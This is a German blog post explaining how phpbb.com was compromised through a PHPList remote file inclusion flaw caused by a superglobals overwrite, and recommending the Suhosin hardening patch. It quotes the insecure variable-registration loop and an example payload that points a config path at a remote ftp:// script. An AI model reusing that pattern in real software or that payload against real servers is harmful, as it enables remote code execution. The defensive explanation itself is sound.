Eben
las ich, dass phpbb.com gehackt wurde und deshalb die Seite derzeit nicht erreichbar ist. Glücklichweise wurde diesmal nicht (wie schon so oft...) die Forensoftware selbst Opfer der eigenen Sicherheitslücken, sondern eine Installation des Newsletter-Managers
PHPList. Das macht es natürlich nicht wirklich besser, erspart mir aber die Suche nach Problemen bzw. Updates der eigenen phpBB-Installationen.
Ich habe hier mal ein paar Fakten aus dem Heise-Forum aufbereitet, die offenbar von Stefan Esser (PHP-Autor und Entwickler des Suhosin-Patches) gepostet wurden:
Grund war ein Remote File Inclusion Problem, das durch einen Superglobals-Overwrite (dabei werden die Superglobalen-Variablen von PHP überschrieben, siehe auch
hier) ausgelöst wurde. Hier wurde seitens PHPList schlampig programmiert, um "register_globals=off" zu umgehen oder sowas. Dabei wird beispielsweise oft fälschlicherweise der folgende Code verwendet, um GET/POST/COOKIE-Variablen später einfach verwenden zu können:
foreach ($_REQUEST as $key => $val) {
$$key = $val;
}
Im Exploit wurde dann die Variable
$_SERVER[ConfigFile]=../local-file../ einfach mit
$_SERVER[ConfigFile]=ftp://www.bla.com/bad_code.php überschrieben. Da zur Prüfung der Variable dann
is_file() benutzt wurde, lieferte PHP keinen Fehler. Seit PHP5 wird
stat() nämlich auch vom ftp:// - Protokoll unterstützt.
Der zur Verfügung gestellte Bugfix behebt dieses Problem nun durch eine recht banale Lösung:
if (isset($_REQUEST['_SERVER'])) {
exit;
}
Hier werden allerdings die zahlreichen anderen Superglobals wie
$GLOBALS, $_GET, $_POST, $_REQUEST usw. nicht abgefangen. Damit könnten eventuell weitere Variablen im Script überschrieben werden und das nächste Leck ist offen.
Abhilfe schafft hier zweifelsfrei
Suhosin, da hier konsequent GET/POST/COOKIE-Variablen mit den entsprechenden Namen (
$_GLOBALS usw.) ignoriert und dementsprechend im Script auch nicht registriert werden. Ich habe eigentlich auf sämtlichen Servern seit einer ganzen Weile Suhosin laufen (via Debian auch als Paket installierbar) und kann nur Positives berichten. Probleme mit Scripten sind mir bisher nicht ein einziges Mal untergekommen.
Im Apache-Errorlog kann man dann, je nach Loglevel, auch die verhinderten Aktionen einsehen. Das sieht dann beispielsweise so aus:
suhosin[3077]: ALERT - tried to register forbidden variable '_REQUEST' through GET variables (attacker '1xx.xxx.xxx.xxx', file '/www/.../index.php')
suhosin[635]: ALERT - configured GET variable value length limit exceeded - dropped variable 'variablen_name' (attacker '1xx.xxx.xxx.xxx', file '/www.../s.php')
suhosin[14381]: ALERT - ASCII-NUL chars not allowed within request variables - dropped variable 'cutepath' (attacker '1xx.xxx.xxx.xxx, file '/www/.../tools.php')
Da sich in den Logs mitunter täglich hunderte solcher Einträge finden lassen, kann ich jedem Webserver-Admin nur empfehlen, PHP mit Suhosin abzusichern!